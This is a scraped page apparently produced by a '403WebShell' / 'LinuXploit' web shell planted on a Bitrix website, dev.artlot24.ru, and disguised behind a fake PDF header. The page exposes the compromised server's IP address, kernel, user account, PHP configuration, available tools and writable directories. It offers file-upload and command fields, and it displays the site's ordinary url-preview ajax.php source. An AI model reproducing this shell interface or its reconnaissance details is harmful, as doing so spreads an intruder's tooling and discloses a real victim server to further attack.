%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.232.71
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.urlpreview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.urlpreview/ajax.php
<?php
use Bitrix\Main\UrlPreview\UrlPreview;

define('STOP_STATISTICS', true);
define('BX_SECURITY_SHOW_MESSAGE', true);
define('BX_SECURITY_SESSION_READONLY', true);

require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');
global $USER, $APPLICATION;

if(!$USER->IsAuthorized() || !check_bitrix_sessid())
	die();

if($_REQUEST['action'] === 'attachUrlPreview')
{
	session_write_close();

	$urlMetadata = null;
	$userFieldId = filter_var($_REQUEST['userFieldId'], FILTER_VALIDATE_INT);
	$elementId = filter_var($_REQUEST['elementId'], FILTER_SANITIZE_STRING);

	if($userFieldId === false)
	{
		die();
	}

	if(isset($_REQUEST['url']))
	{
		$urlPattern = "~^
				(https?://|//)?       # protocol (optional)
				(([\w\-]+:)?([\w\-]+)@)?    # basic auth
				([\w\-\.]+?)               # hostname or ip address
				(:[0-9]+)?                # a port (optional)
				(/?|/\S+|\?\S*|\#\S*)   # a /, nothing, a / with something, a query or a fragment
			$~ixu";
		$url = $_REQUEST['url'];
		$url = trim($url, '!"#$%&\'()*+,-.@:;<=>[\\]^_`{|}~');
		if(!preg_match($urlPattern, $url))
			die();

		if(!\Bitrix\Main\Application::isUtfMode())
			$url = \Bitrix\Main\Text\Encoding::convertEncoding($url, 'UTF-8', \Bitrix\Main\Context::getCurrent()->getCulture()->getCharset());

		if(UrlPreview::isEnabled())
		{
			$urlMetadata = UrlPreview::getMetadataByUrl($url, true, false);
		}
	}
	else if(isset($_REQUEST['id']))
	{
		$signer = new \Bitrix\Main\Security\Sign\Signer();
		try
		{
			$id = $signer->unsign($_REQUEST['id'], UrlPreview::SIGN_SALT);
		}
		catch (Bitrix\Main\SystemException $e)
		{
			die();
		}

		if(UrlPreview::isEnabled())
		{
			$metadata = UrlPreview::getMetadataAndHtmlByIds(array($id), true);
			if(isset($metadata[$id]))
			{
				$urlMetadata = $metadata[$id];
			}
		}
	}

	if(!isset($urlMetadata['ID']))
		die();

	$userFieldParams = array(
		'arUserField' => \CUserTypeEntity::getById($userFieldId),
		'urlPreviewId' => $elementId
	);

	$userField = array(
		'VALUE' => array($urlMetadata['ID'])
	);

	$APPLICATION->ShowAjaxHead();
	$outputHtml = UrlPreview::showEdit($userField, $userFieldParams);

	echo $outputHtml;
	die();
}


Youez - 2016 - github.com/yon3zu
LinuXploit